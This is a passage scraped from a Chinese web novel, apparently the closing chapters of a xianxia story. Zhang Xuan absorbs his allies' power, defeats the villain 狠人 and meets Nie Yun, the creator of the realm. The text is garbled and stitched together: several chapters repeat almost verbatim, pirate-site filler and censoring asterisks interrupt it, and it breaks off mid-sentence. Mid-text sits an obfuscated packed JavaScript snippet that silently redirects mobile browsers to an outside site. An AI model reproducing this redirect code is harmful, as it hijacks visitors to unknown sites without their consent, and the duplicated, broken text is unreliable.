“所以,就将分散的天道意念,送到最底层的世界……分别赐予原本属于这个世界的灵魂,和一个不属于这个世界的灵魂。而你,最终没让我失望!” 聂云笑道。 “不属于这个世界的灵魂,这样说来,我穿越,也是因为你?”张悬心中一震。 难怪,能够穿越过来,没想到都是眼前这位所为。 “呵呵!”聂云轻轻一笑,道:“本身属于这个世界,就有着对世界的敬畏,想要突破世界桎梏,难度要大得多,我也是心念一动,并没想到,你真的能够成功……” “我……”张悬脸色一红:“如果不是孔师,我根本不可能达到这种地步……” 没有孔师的无私奉献,想要达到现在的境界,根本不可能做到。 “机会我给他了,没把握住而已。和灵犀的比斗,其实就是他突破的最佳机会,可惜,他选择了退避,以为自己留了后手,可以全身而退,实际上却是失去了勇猛精进,面对超越我们的人,如果连这点精神都没有,又如何能够与之抗衡?” 聂云道。 张悬沉默不语。 当时二人的战斗,他都看在眼里,孔师的确在果决上有些欠妥。 也有可能,他不愿意斩杀洛若曦吧。 可惜,就这一念之间,错过了晋级的机会。 “如果孔师获胜,若曦就会死……”片刻后,张悬看过来,眉毛皱起。 难不成,眼前这位连女儿的生死都不管了? “有我在,她不会死……”聂云淡淡一笑:“你现在的实力,和我也差不了多少了,你觉得二人的实力,生死关头,想要救人,能不能做到?” “这……”张悬苦笑。 突破帝君,和帝君,是两个概念,如果他真的愿意出手,的确可以在最后关头将人救下,而且保证,一点伤都受不了。 “灵犀,是我另外一个妻子洛倾城所生,所以她伪装的名字,姓洛……为了能让她相信,不感情用事,到现在一直以为我还陷入昏迷……” 聂云苦笑一声:“我这个爹也算做得够狠了……这样吧,这件事还是你和她解释吧,毕竟,她现在的心思,已经转移到你身上了,我这个老爹,估计都想不起来了……哈哈,我暂时就不出现了,躲避上一段时间再说,不然,真怕她闹得天翻地覆……” 看到眼前这位如此不靠谱的老爹,面皮一抽,张悬只好答应:“好吧……” 不答应也没办法,谁让自己拐走了人家的女儿…… “天道图书馆,是我一道意念所化,是根基,也是桎梏,你能靠自己的能力,突破桎梏,说明了能力和潜力,将来前途无量,我女儿能和你在一起,做父亲的,也算欣慰了。” 正在手打中,请稍等片刻,内容更新后,请重新刷新页面,即可获取最新更新! 第一百一十八章郡主现身 灵魂契约,契合灵魂,只要自己不解除,哪怕对方手段通天,都无法化解。 就好像不死帝君小黄鸡,之前只是神王,他是帝君,同样没办法解决这种约定。 为了防止这家伙变卦,出现反噬的现象,名师大陆就曾专门定下,即便对方可以脱离天道之册,也无法挣脱灵魂间的约定啊! “灵魂契约,的确无法从识海中**出去,但我融合了连天道都可以化解的特殊气体,将这种契约化解掉,并不难……只要有足够力量,轰击契约所在之处,就能做到!” 狠人道。 灵魂契约,是建立在天道基础上的,特殊力量连神界天道都能化解,化解个灵魂契约,只要处理得当,又有何难? “原来如此……”张悬目光一闪。 “和你说这么多,也算感谢将我带到神界了!” 解释完,狠人不再多说,身上的气息愈发的亘古悠远,身后的黑洞变得更加巨大,显然说话的功夫,又吞噬了不知多少力量,做了滋补。 “张悬,黑洞吞的越多,他的实力越强……” 洛若曦也发现了不对劲,急忙传音过来。 “准备动手吧!”心中疑惑尽消,张悬深吸一口气,手中长剑,陡然扬起:“既然如此,那就手底下见真章吧!” 轰隆! 最强大的剑意,再次施展而出。 生当复来归,死当长相思! 生死皆不在乎,又有何事可以阻拦? 这一招剑法,虽然是没达到帝君领悟的,却蕴含了心中的一切执念,将体内的天若有情**,发挥到了极限。 呼! 一剑将狠人的攻击,斩成两半。 同一时刻,洛若曦也出手了,玉手翻滚,剑芒如雪。 她的剑法和剑神天的那位青年有些相似,带着一往无前的气势,和大道自然的潇洒。 “你们的招数是很厉害,但对比我,还是差了些……” 轻轻一笑,狠人再次向下抓来。 一瞬间,遮天蔽日,手掌将天地都笼罩了,空间碎裂,日月星辰都仿佛要被硬生生打下来。 噗!噗! 张悬和洛若曦同时倒飞而出,人在空中鲜血狂喷。 以二人的实力,竟然抵挡不住! 这家伙到底达到了何种境界? “放肆!”分身大步踏来,每走一步,就有莲花绽放,虚空中带着流水的声音。 远远看去,逼格十足。 炼化九天混沌金莲,他的修为比起张悬,丝毫不弱。 一拳扬起,力量冲上九天。 和狠人对碰,同样倒飞而出,挡不住一招。 张悬捂住额头。 成就帝君了,分身依旧不改装逼的本性…… 这么绚丽的装逼,还不如将力量集中起来,威力更大! “一起出手,不然,他们**,我们都会死……” 小黄鸡一声大喝,赤红的的火焰燃烧,天空都像被点燃。 剩下六大帝君,也各自施展手段。 七位帝君联合,毁天灭地,一方天地在面前都抵挡不住,但对方是吸收了特殊力量的狠人,攻击来到跟前,黑洞陡然变大,眨眼功夫就将力量吞噬干净,紧着着反击而出。 嘭嘭嘭嘭! 七位帝君和张悬等人一样,倒飞而出。 十大帝君,联合在一起,竟然都没挡住对方一招! 这家伙,怎么会这么强大? “你们可以**……” 一招击溃众人,狠人向前一步,手腕一翻,再次拍了下来。 “鼠辈敢尔!” 伴随一声大喝,之前剑神天的那位老者,突兀出现,挡在面前,手中长剑化作银河。 “帝君?他也是帝君实力?” 张悬瞳孔一缩。 这位老者当初跟在青年身后,本以为只是个随从,最多封号神王,施展出力量才发现,竟然也是一位帝君强者! 如果他是帝君,那位青年,是什么? “他本身就是剑神天的帝君……”挣扎站着身来,洛若曦咬牙道。 “那……传我剑法的青年呢?”张悬再也忍不住。 “他是……”洛若曦刚想回答,空间一阵扭曲,随即看到剑神天的这位帝君,同样倒飞了出去,落在不远处,砸出一个大坑。 张悬现在的实力,和对剑道的领悟,远超过他,都抗衡不住,他即便修为不弱,剑术高明,依旧不是对手。 “哈哈,帝君,一群土鸡瓦狗而已!今天我就灭了九天,灭了这神界,将一切规则踏平!” 将剑神天的帝君击败,狠人疯狂大笑,四周的空间不停坍塌,衬托的他如妖如魔。 “怎么办?”张悬拳头捏紧。 刚才他和分身,都施展出最强战斗力了,甚至眼前的洛若曦,也将最强招数使用了出来,都没挡住对方的一招…… 难道神界,真的没人能够挡住眼前这位? 任由他将世界毁灭? “唯一的办法……是将你的天道有缺,回归天道本身,让天道将他**……”洛若曦秀拳捏紧,眼眶泛红。 “回归天道本身?”张悬知道她的意思。 脑海中的图书馆,本身是天道的一部分,一旦回归,天道就等于彻底完整了,或许就可以修复漏洞,自我将狠人排斥出去。 就好像人体的免疫系统。 免疫系统完整,病毒来了,轻易驱赶;坏了,抵抗不住病毒入侵,再强壮的人,也会因此死亡。 只是…… “他太强大了,即便天道恢复完整,也无法**吧!”张悬摇头。 病毒,免疫系统是可以斩杀,但……猛虎呢? 再强的免疫系统,又有什么办法? 眼前这位,只是普通神王,哪怕封号,天道都可以轻易杀死,可比帝君都要强大……已然不是天道可以抗衡的了。 “这……”洛若曦停顿了一下,洁白的玉面上露出失落之色:“是啊……没办法**,但是,天道完整,他就能醒过来,斩杀这位,并不难!” “他?”张悬皱眉。 “我带你去见他,就在自在天……”深吸一口气,洛若曦一咬牙,转身就向前飞去。 “想逃?”狠人冷哼,向下一按。 嘭! 洛若曦从空中坠落。 “你……”张悬剑法再次施展出来,剑意辉煌而出。 叮叮叮! 再次被狠人挡住。 “你们快走,我来挡住他……” 知道他们再想拯救神界的方法,而不是逃走,分身和不死帝尊,一声大喝挡在前面,洛七七也摇身一变,回归静空珠本体。 四周的空间凝固起来。 “走!” 见众人奋不顾身挡在后面,无畏惧死亡,张悬眼眶一红,不过,也知道现在不是多说的时候,一拉洛若曦,身体一晃,划破空间,下一刻已经出现在了自在天的范围。 自在天现在已经没了之前的自在,神界崩塌,四处一片混乱。 “你说的他,在哪里?” 没空去观察普通人的生活,张悬看向怀中的女孩。 如果她说的那人,真能拯救神界,自己牺牲又何妨! “他是我的父亲,你吊坠中的血液,就是他的,不死帝君,曾是他的兽宠……”洛若曦调息了一下,解释道。 “父亲?” 张悬恍然大悟。 难怪一直觉得吊坠中的血液和洛若曦相似,却又不同,原来是她父亲的。 这样也就解释了,为何不死帝君留下的那道意念,看到吊坠后,立刻认自己为主。 “你父亲也是帝君?或者拥有超越帝君的实力?” 忍不住道。 图书馆混乱,是吊坠中的血液,让自己恢复清醒,难不成,不仅她是帝君,父亲也是,甚至更加强大? 如果是这样的话,又为何会昏迷? 又需要天道有缺,才能让其清醒? “他不是帝君,而是……天道!” 洛若曦秀拳捏紧。 “天道?你父亲……是天道?”张悬一震,不敢相信。 “是!五十年前,父亲抵挡不住那只大手,陷入昏迷,天道崩散成三部分,天道有序和天道有缺,进入空间乱流,我代为掌控天道自然,维持神界的平衡。想要让他恢复,只有将散开的部分收集……所以,我才如此决绝,不能失败!才专门进入名师大陆,研究春秋大典,想办法战胜孔师!和孔师战斗的时候,拜托他的事,也是这个。” 洛若曦道。 张悬恍然。 名师大陆刚认识不久,眼前的女孩,就和自己讲述过她的故事,要救一位至亲,自己当时还不明白,现在才恍然大悟。 竟然是她父亲,而且还是神界天道! 天道真的能够化成人形,并且生儿育女吗? “代为掌控天道自然……你体内,没有天道碎片?”突然,意识到她语言中的不对劲,张悬看过来。 代为掌控,和自己这种融合在体内,是两种概念。 “我只是掌控,并不是天道的一部分……”洛若曦道。 张悬松了口气。 这样说起来,只需要自己将天道有缺剥离出来就行了,并不需要她也死亡。 尽管这种命运,不愿意接受,却也不愿意眼前的女孩,受到伤害。 “我将体内的天道有缺剥离出来,你父亲就能活过来,甚至将狠人击杀是吧?”张悬看来。 “这……我也不确定……” 抬头看了看已经崩塌的神界,洛若曦迟疑。 神界是父亲的根基,现在根基都这样了,就算清醒,真的能够将那个强大的狠人击败吗? 真不好说! “看来你也不能肯定,既然如此,求人不如求己……我们只有自己想办法!”张悬咬了咬牙:“你、我、分身,联合九天九帝,如果在配合上孔师,未必不能获胜!” “孔师?他……”洛若曦皱眉。 “孔师已经**是吧!他并未真正死亡,如果猜的没错,他被你斩杀,只是用来脱离天道的方法……不出意外,他应该和魏长风一样,是【先天胎魂体】!” 张悬道。 看到魏长风,就明白过来,孔师所谓的保持灵智,应该和他一样,是先天胎魂体。 可以做到胎中不迷。 再加上提前留下的后手,复活,只是时间问题。 洛若曦愣住,似乎她没想到,会是这样。 “过去看看就知道了,猜的不错,他应该已经恢复,不然,他的那些学生,不可能连潮汐海都没去……”张悬道。 孔师的那些学生,子渊古圣等人,个个实力强劲,就算没有帝君帮助,也必然有办法进入潮汐海,可却一个都没见。 必然是有更重要的事情等着,想要趁所有帝君去潮汐海无暇顾及的时候去做! 而这种重要的事,明显就是让孔师恢复。 “这……”洛若曦心中一震,恍然大悟。 “走吧!” 不再解释,单手一划,张悬重新来到孔师居住的所在,果然看到一个老者盘膝悬浮在空中,见他们来到,微微一笑:“来了!” 不是孔师,又是何人! 这位万世之师,果然没让自己失望! 和猜测的一样,趁着所有人都将注意力集中在潮汐海的时候,重新复活了。 “你……”洛若曦娇躯一震。 她知道帝君可以复活,不死帝君也活过来了,但……没想到速度这么快! “我隐瞒天道,提前就准备了后手,幽魂池中的那个没有名字的巨人,就是我留下的,当日被你斩杀,我借机摆脱了天道的束缚,重新凝聚肉身,现在也刚刚恢复罢了!” 孔师微微一笑。 他精通时间能力,看起来神界只过了一、两天,实际上为了恢复力量,经历了不知多久。 几十年的时光,都有了。 “我们三人的实力,是很强,但想要胜过狠人,也没那么容易……” 见孔师果真恢复,洛若曦依旧摇头。 不是涨他人威风,灭自己志气,而是事实。 刚才这么多人联合,都没挡住对方,即便增加一个孔师,又能如何? 同样改变不了局面! “我们单个的实力,甚至联合在一起,的确不是对方的对手,但……如果将所有人的力量,都融合在一个人的身上呢?” 孔师笑着看过来。 “融合在一个人身上?” 这次不光洛若曦皱眉,张悬也满是疑惑。 “那个手掌能够撕裂神界,将天道都打散,实力之强,不容置疑,狠人将这股力量全部吸收,又吞噬了神界五十年的灵气,单凭实力,我们十几位帝君,单个拿出来,的确不是对手……” 孔师道:“但联合在一起,将力量集中在一人身上……就未必了吧!” “如何集中?” 洛若曦看过来。 说的简单,做起来难。 帝君已经站在神界最巅峰了,如果这么容易吸收别人的力量,她也不至于这么多年,停滞不前。 “很简单……我们将身上的力量,集中在张悬身上,一旦他能冲破帝君桎梏,就能救下神界!” 孔师道。 “我?”张悬一愣:“为什么是我?” “灵犀帝尊修炼的是自由自在,超脱自然!但有了父亲和天道的制约,有了牵挂的人,就永远没办法真正超脱!如果我没看错,当初和我战斗的时候,你也曾放弃过,打算被我斩杀吧!” 孔师道。 洛若曦说不出话来。 战斗的时候,的确有过这种打算,所以二人的交手,刚开始的时候,各自留着后手,宛如切磋,不像生死搏斗。 “无法超脱,自然也就发挥不出最强力量,即便给与再多的真气,同样无法冲击那至高的境界!至于我……” 孔师点头道:“心怀苍生,想要普度天下,却不愿意别人为我牺牲,仁慈太多,也是缺点!如果心狠一些,将异灵族灭族,就不会有现在的局面……” 当初如果能将异灵族人全部灭杀,狠人就不可能复活,也不会有现在的情况。 “所以,我也不适合!而张悬,**顺心,没有缺陷。讲究活出自我,哪怕身死,只要活得无愧,就心中坦荡。这种人拥有更大的包容,更大的发展空间,只有这样,才能走的更高,更远!” 孔师继续道。 生当复来归,死当长相思! 连死亡都不在乎,又怎么会被其他事情所羁绊? “这……”张悬皱眉,正想说些什么,就见孔师目光炯炯的看过来:“不用推辞了,先说时间来不及,去培养其他人,就算来得及,我也觉得未必有人能比你做得更好!灵犀帝尊体内虽没有天道碎片,却常年掌控天道,对天道有着属于自己的理解;我掌控天道有序,如果我们将力量灌输给你,你体内就会拥有完整天道的力量!配合上分身的九天混沌金莲,完全可以做到定九天,掌乾坤,战九霄,灭万物!” “好吧!” 见对方已经做出决定,自己解释再多也无用,张悬点了点头。 轰隆! 盘膝做好,一眨眼功夫,两股雄浑的力量,就从两侧灌涌而来。 张悬全身一僵,整个人仿佛刹那间化身天道,翱翔在九天之上。 灵魂、肉身、真气,都在瞬间得到了洗礼,越来越强,越来越雄浑。 …… “你们也想拦我?也好,杀了你们,再去将张悬斩杀……” 将洛七七和分身等人拍飞,狠人冷冷一笑。 分身和诸多帝君联合施展而出的力量,的确很强大,不过,和他比,依旧弱了一些。 潮汐海将神界出了城市外的灵气,几乎全部吞噬干净,现在这些力量,都化作他的寄养,举手投足,带着毁灭天地的能力,这些帝君、神王,尽管代表了神界最巅峰,依旧不堪一击。 此时的狠人,仿佛代表了整个神界,无人能挡。 “神界灭亡,我们活着也没意义,我云螭,与你同归于尽……” 云螭大帝变化出本体,一头巨大的五爪金龙,凌空向他扑了过去。 “就你?不配!” 狠人手掌一捏,金龙就挂在掌心,无论如何挣扎,都逃脱不掉。 “老友,等我!” 扶猛帝君也一声大吼,变化出白虎本尊,凌空来到跟前。 不死帝君,不死火凤本尊显示出来,火焰照耀天空。 玄冥大帝,本尊乃一头大龟,宛如托举着诸天。 四大神兽,镇守神界四极,同时变化本体,崩塌的神界,都变得缓慢下来。 乾坤仿佛在瞬间定住。 嘭嘭嘭嘭! 连续四掌,狠人将四兽**下来,眼中闪过一道浓烈的杀意:“既然你们找死,我就成全你们……” 咆哮声中,正想下死手将众人全部抹杀,就感到扬起的手臂一紧,在空中停了下来。 “想要杀他们,问过我没有……” 随即,众人震惊的目光中,一个人影从空中缓步走了出来。 正是张悬! 此时的青年,全身力量澎湃,比刚才强大了十倍不止,自天而来,宛如整个人就是一个世界。 “进步了不少……” 狠人停了下来,目光凝重。 他显然也没明白,为何短短几分钟的光景,对方的实力有了如此巨大的变化。 “不过,增加了又如何?全盛期的神界,都抵挡不住,我不信,你能挡得住我……” 一声冷哼,狠人再次拍落而下。 张悬长剑扬起,迎了上来。 双方战斗在一起,空间一道道撕裂,气流四处乱窜。 “张悬能不能获胜?” 自在天孔师驻地,洛若曦满是担忧的看过去。 她和孔师将力量传递给张悬,自身修为,已经降低到只有神王级别,不如之前那么辉煌了。 不过,级别在哪里摆着,只要力量足够,终有一天,可以重新恢复。 “凭借现在的实力,想要胜过……很难!除非……他能领悟超越帝君的力量!” 沉默了片刻,孔师道。 十几个帝君联合,都无法胜过狠人,即便他们将力量全部传递给对方,想要胜过,也没那么容易。 之所以这样做,是因为……力量只有集中在一人身上,才有可能触碰到顶点,才有可能真正超越极限,突破自我! “超越帝君的力量?” 洛若曦眼神悠远。 父亲还清醒的时候,曾和她说过同样的话,但……她无法做到,自己心爱的男子,能够做到吗? “他一定能……他有着一颗不屈的心!和对这个世界的傲然。” 看出她心中的疑问,孔师笑道。 …… 嘭嘭嘭! 连续几招下来,张悬虎口开裂,胸口出现了一道巨大的伤痕,狰狞可怖。 和孔师说的一样,即便融合了他们二人的力量,体内形成了完整的天道,依旧不是对手。 “哈哈,还以为多厉害,不过如此!”狠人冷冷一笑。 “反正不是你的对手,早晚都会**,既然如此,我想死在你最强的攻击之下……”深吸一口气,张悬停了下来,不在进攻,反而看向眼前的狠人。 “好,我成全你,给你最强的攻击……” 听他这样说,狠人愣了一下,随即冷哼一声,手掌扬起。 哗啦! 一道青光出现在掌心,猛地拍落而下。 果然是最强攻击,整个神界都发出轰鸣,宛如快要承受不住,再次被打出一个巨大的坑洞。 双眼紧闭,张悬并未躲避。 嘭! 脑袋炸裂开来,灵魂四处溃散。 “张悬……”看到这一幕,所有人都脸色一白。 洛七七宛如发疯。 云螭大帝等人也瞪大眼睛,不停哆嗦。 看到这一幕的孔师和洛若曦也全都一愣。 本意是让他突破桎梏,冲击超越帝境境界的,怎么不去反抗,甘心赴死? 这样,岂不辜负了他们的一番好心? “不对,是不死帝君的不死之法……” 正在奇怪,孔师突然开口。 众人随即看到,脑袋炸开,甚至灵魂碎裂的张悬,胸口的吊坠陡然炸开,一滴血液悬浮而起,燃烧起来,形成了一团炙热的火焰,火焰中,一具完好无损的身影,缓步而出。 “他……借助对方的力量,和吊坠中的血液,将天道有缺和灵魂分离了?” 洛若曦瞳孔收缩。 浴火重生后的张悬,体内竟然没了天道图书馆,没了天道的干扰,脱离了天道! “他怎么做到的?” 孔师也满是不敢相信。 天道和灵魂融合在一起,不分彼此,为了摆脱,他不得不魂飞魄散,借助幽魂池重新凝聚魂魄。 眼前这位,只被斩杀了一下,就彻底摆脱,用了什么办法? “我知道了……他用了狠人摆脱灵魂契约的办法……”洛若曦反应过来。 灵魂契约绑定主人和仆人,主人不解除,仆人就永远受制……天道图书馆也是这样,可以说是一种增强版的契约。 绑定了灵魂,不死不会脱离。 但……狠人借助那种特殊力量摆脱了灵魂契约,具 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15956423|177619||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 体方法,张悬之前详细询问过,恐怕那时就动了心思。 这才故意拼死,让其施展出最强力量对他攻击。 借助这种力量,浴火重生,没想到,果然大获成功! “原来如此,这才是突破帝君的方法……” 从火焰中走出的张悬,脸上露出淡淡的微笑,像是明白了什么,突然一招手,一侧的分身,立刻重新变成一朵莲花,飞了过来。 刹那间,与自身完美融合。 一眨眼功夫,众人感觉,眼前的张悬,像是变成了九天,九天就是他。 脚掌在地上轻轻一踏。 混乱的九天,立刻稳定下来。 九天混沌金莲,九天诞生时出现,能够稳定九天,此时分身和自我完美融合,不分彼此,也就等于他掌控了这种力量。 不仅如此,融合了九天混沌金莲的修为,他本就达到巅峰的境界,出现了松动,似乎随时都会突破。 “主仆情、兄弟情、师生情、父母情、爱情……融合在一起,原来就是世间万物,这才是人!” 面带微笑,张悬喃喃自语。 天道图书馆脱离灵魂的刹那,他明白过来。 是人看了世界,才有了世界,还是先有世界,后有了人? 是风动,还是心动! 这个问题,亘古不朽的困扰着无数人。 当然,现在……这些都不重要了! 没有生命,没有情感,世界就算存在,又有何意义? 所以,突破爱情之后,是众生情!是交织天下的情感。 世间万物皆有情感,有情才有世界,有情感,才能延续生命。 爱,是情。 憎,是情。 高兴,是情。 痛苦,是情。 离别,是情。 相聚,也是情! “万千情意,为我所用……” 一声低呼,张悬体内禁锢的境界,瞬间破开。 帝君桎梏,突破了! 一瞬间,仿佛触摸到了一个全新的世界和大门,灵魂得到了快速的滋养。 无数混沌之气,涌了过来,肉身也飞速提升。 之前只有吸收灵力,才能进步,而现在空间乱流、混沌之气,哪怕是对方的青光,都可以为我所有,不分彼此。 “你……”狠人没想到,自己的全力攻击,非但没将其斩杀,反而成全了他,气的“哇哇!”乱叫,一声怒喝,再次攻击下来。 “你怨恨高高在上的帝君,没在空间乱流中救下自己,是情;觉得曾是我的仆人,蕴含卑微和愤怒,是情;想要毁灭神界,发泄愤怒,是情;想要变得更加强大,同样是情……情感控制着你,你又如何胜得过我,不被我控制?” 淡淡一笑,张悬的声音越来越快,越来越响亮,手掌轻轻一抓。 原本纵横无敌的狠人,就被无数情感细线,禁锢在一起,束手束脚,无法动弹。 只要有情,就要被他所用,被他控制! “你……” 狠人眼中满是惶恐:“张师,我是你的仆人,不要杀我……我愿意灵魂献祭……” “现在再说这些,已经晚了……”微微一笑,张悬摇了摇头。 掌控天下之情,仆人之类对于他来说,已经没任何意义了。 杀了神级这么多人,伤了自己的女朋友,洛七七以及这么多朋友,今天,又怎么可能宽恕! “不……” 感受到他的果决,狠人瞳孔收缩,话音未结束,立刻感到身上一阵剧烈的疼痛。 嘭! 一刹那间,**开来,化作无数灵气,向神界各处灌涌。 之前,潮汐海吞噬掉的所有力量,此时全部反哺回来,已经枯竭的荒野,重新焕发生机。 “这……” “这样就杀了?” 云螭大帝、不死帝君、玲珑仙子啊等人,全都瞪大了眼睛,不敢相信。 刚才他们和狠人交过手,知道可怕,这么强大的人,竟然随手覆灭,这位张悬……到底达到了何种地步? 难道帝君之上,真的还有另外的境界? “他成功了……” 孔师和洛若曦,松开捏紧的拳头。 “这是天道的一部分,那我现在就归还天道……” 看到刚才从自己体内,被分离出来的“天道有缺”,依旧在空中悬浮,张悬轻轻一笑,屈指一弹。 嗡! 从重生就伴随他的图书馆,轰然镶嵌在神界的天空之上。 大钟般的鸣响,不断崩溃的神界,肉眼可见的缓慢恢复,混乱的气流,也重新聚拢起来。 崩塌的神界,终于停了下来,干枯的灵气,也伴随狠人的死亡,慢慢复苏。 “看来,神界要重新迎接灵气复苏时代了……”张悬一笑。 潮汐海的窟窿,伴随天道的补全,已经恢复,神界恢复以前的盛况,只是时间问题。 “张悬,这边来……” 刚做完这些,脑中响起一个声音,张悬愣了一下,一步跨出。 这一步,不知飞了多远,随即看到一个青年站在面前。 正是之前传授自己剑法的那位。 “前辈,你……” 看到是他,张悬一愣。 之前就觉得这位,深不可测,现在才发现,比起自己,也只差了一丝而已,已然达到了帝君的最巅峰,比起之前的洛若曦,都强大不知多少。 “直呼我名字即可,我叫……聂铜!”青年身上散发出一往无前的剑意,淡淡道。 “聂铜?”张悬皱了皱眉。 第一次听到这个名字。 “跟我来,带你见我哥哥!”叫做聂铜的青年莞尔一笑,向前跨步而出。 张悬紧跟在身后,不知飞了多远,在一个山峰前停了下来。 随即看到了另外一个青年。 容貌比他大不了多少,双眉上扬,给人一种深邃不可看穿之感。 “这实力……”张悬一颤。 眼前这位青年的实力,竟然比他还要强大,同样突破了帝君的桎梏,而且修为更加深远厚重! “在下,聂云!”青年淡淡一笑,看了过来:“也就是……聂灵犀,你口中洛若曦的父亲!” “若曦的父亲?” 张悬一震:“你……是神界天道?” 之前洛若曦说过,自己的父亲,是天道,怎么都想不到,是这样一个年轻人。 “我一气化三清,一部分灵魂,变成了天道!再说,这个世界,是我创造的,说我是天道也无不可!”聂云淡淡一笑。 张悬不敢相信。 神界竟然是眼前这人创造的? 那他的实力,该有多强? “不对,如果神界是你创造的,你又是天道,为何任由狠人肆虐,而不出手……”张悬看过来。 如果不是自己突破,神界极有可能彻底崩塌,为何眼前这人,不管不问? 甚至连女儿的生死,都关心? 没回答他的问题,聂云淡淡的看过来:“你认为……神界之上,还有更加强大的生命吗?” “这……”张悬停顿了一下:“应该有吧……” 虽然没见过,但既然他能修炼到这种境界,或许其他人也可以,甚至更强。 就好像眼前这位。 “我曾怀疑,神界之上会有更强大的生命,所以用尽全力窥视,最终引来了更高世界的反噬……一个手掌破空而下!” 聂云看过来:“当时如果我躲闪,极有可能整个神界都会被抹平,再没有半个生命……所以,挡下了这招,但也因此,化身的天道被**出去。” “这种情况,我想恢复,只是一道意念而已,但……我明白,想要真正超脱神界桎梏,去探索手掌由何而来,神界之外,又有什么……单靠我一人很难做到。所以,想要看看,有没有生命,能够突破帝君桎梏,达到和我平齐的地步!” “所以,就将分散的天道意念,送到最底层的世界……分别赐予原本属于这个世界的灵魂,和一个不属于这个世界的灵魂。而你,最终没让我失望!” 聂云笑道。 “不属于这个世界的灵魂,这样说来,我穿越,也是因为你?”张悬心中一震。 难怪,能够穿越过来,没想到都是眼前这位所为。 “呵呵!”聂云轻轻一笑,道:“本身属于这个世界,就有着对世界的敬畏,想要突破世界桎梏,难度要大得多,我也是心念一动,并没想到,你真的能够成功……” “我……”张悬脸色一红:“如果不是孔师,我根本不可能达到这种地步……” 没有孔师的无私奉献,想要达到现在的境界,根本不可能做到。 “机会我给他了,没把握住而已。和灵犀的比斗,其实就是他突破的最佳机会,可惜,他选择了退避,以为自己留了后手,可以全身而退,实际上却是失去了勇猛精进,面对超越我们的人,如果连这点精神都没有,又如何能够与之抗衡?” 聂云道。 张悬沉默不语。 当时二人的战斗,他都看在眼里,孔师的确在果决上有些欠妥。 也有可能,他不愿意斩杀洛若曦吧。 可惜,就这一念之间,错过了晋级的机会。 “如果孔师获胜,若曦就会死……”片刻后,张悬看过来,眉毛皱起。 难不成,眼前这位连女儿的生死都不管了? “有我在,她不会死……”聂云淡淡一笑:“你现在的实力,和我也差不了多少了,你觉得二人的实力,生死关头,想要救人,能不能做到?” “这……”张悬苦笑。 突破帝君,和帝君,是两个概念,如果他真的愿意出手,的确可以在最后关头将人救下,而且保证,一点伤都受不了。 “灵犀,是我另外一个妻子洛倾城所生,所以她伪装的名字,姓洛……为了能让她相信,不感情用事,到现在一直以为我还陷入昏迷……” 聂云苦笑一声:“我这个爹也算做得够狠了……这样吧,这件事还是你和她解释吧,毕竟,她现在的心思,已经转移到你身上了,我这个老爹,估计都想不起来了……哈哈,我暂时就不出现了,躲避上一段时间再说,不然,真怕她闹得天翻地覆……” 看到眼前这位如此不靠谱的老爹,面皮一抽,张悬只好答应:“好吧……” 不答应也没办法,谁让自己拐走了人家的女儿…… “天道图书馆,是我一道意念所化,是根基,也是桎梏,你能靠自己的能力,突破桎梏,说明了能力和潜力,将来前途无量,我女儿能和你在一起,做父亲的,也算欣慰了。” 正在手打中,请稍等片刻,内容更新后,请重新刷新页面,即可获取最新更新! 第一百一十九章两人交心 灵魂契约,契合灵魂,只要自己不解除,哪怕对方手段通天,都无法化解。 就好像不死帝君小黄鸡,之前只是神王,他是帝君,同样没办法解决这种约定。 为了防止这家伙变卦,出现反噬的现象,名师大陆就曾专门定下,即便对方可以脱离天道之册,也无法挣脱灵魂间的约定啊! “灵魂契约,的确无法从识海中**出去,但我融合了连天道都可以化解的特殊气体,将这种契约化解掉,并不难……只要有足够力量,轰击契约所在之处,就能做到!” 狠人道。 灵魂契约,是建立在天道基础上的,特殊力量连神界天道都能化解,化解个灵魂契约,只要处理得当,又有何难? “原来如此……”张悬目光一闪。 “和你说这么多,也算感谢将我带到神界了!” 解释完,狠人不再多说,身上的气息愈发的亘古悠远,身后的黑洞变得更加巨大,显然说话的功夫,又吞噬了不知多少力量,做了滋补。 “张悬,黑洞吞的越多,他的实力越强……” 洛若曦也发现了不对劲,急忙传音过来。 “准备动手吧!”心中疑惑尽消,张悬深吸一口气,手中长剑,陡然扬起:“既然如此,那就手底下见真章吧!” 轰隆! 最强大的剑意,再次施展而出。 生当复来归,死当长相思! 生死皆不在乎,又有何事可以阻拦? 这一招剑法,虽然是没达到帝君领悟的,却蕴含了心中的一切执念,将体内的天若有情**,发挥到了极限。 呼! 一剑将狠人的攻击,斩成两半。 同一时刻,洛若曦也出手了,玉手翻滚,剑芒如雪。 她的剑法和剑神天的那位青年有些相似,带着一往无前的气势,和大道自然的潇洒。 “你们的招数是很厉害,但对比我,还是差了些……” 轻轻一笑,狠人再次向下抓来。 一瞬间,遮天蔽日,手掌将天地都笼罩了,空间碎裂,日月星辰都仿佛要被硬生生打下来。 噗!噗! 张悬和洛若曦同时倒飞而出,人在空中鲜血狂喷。 以二人的实力,竟然抵挡不住! 这家伙到底达到了何种境界? “放肆!”分身大步踏来,每走一步,就有莲花绽放,虚空中带着流水的声音。 远远看去,逼格十足。 炼化九天混沌金莲,他的修为比起张悬,丝毫不弱。 一拳扬起,力量冲上九天。 和狠人对碰,同样倒飞而出,挡不住一招。 张悬捂住额头。 成就帝君了,分身依旧不改装逼的本性…… 这么绚丽的装逼,还不如将力量集中起来,威力更大! “一起出手,不然,他们**,我们都会死……” 小黄鸡一声大喝,赤红的的火焰燃烧,天空都像被点燃。 剩下六大帝君,也各自施展手段。 七位帝君联合,毁天灭地,一方天地在面前都抵挡不住,但对方是吸收了特殊力量的狠人,攻击来到跟前,黑洞陡然变大,眨眼功夫就将力量吞噬干净,紧着着反击而出。 嘭嘭嘭嘭! 七位帝君和张悬等人一样,倒飞而出。 十大帝君,联合在一起,竟然都没挡住对方一招! 这家伙,怎么会这么强大? “你们可以**……” 一招击溃众人,狠人向前一步,手腕一翻,再次拍了下来。 “鼠辈敢尔!” 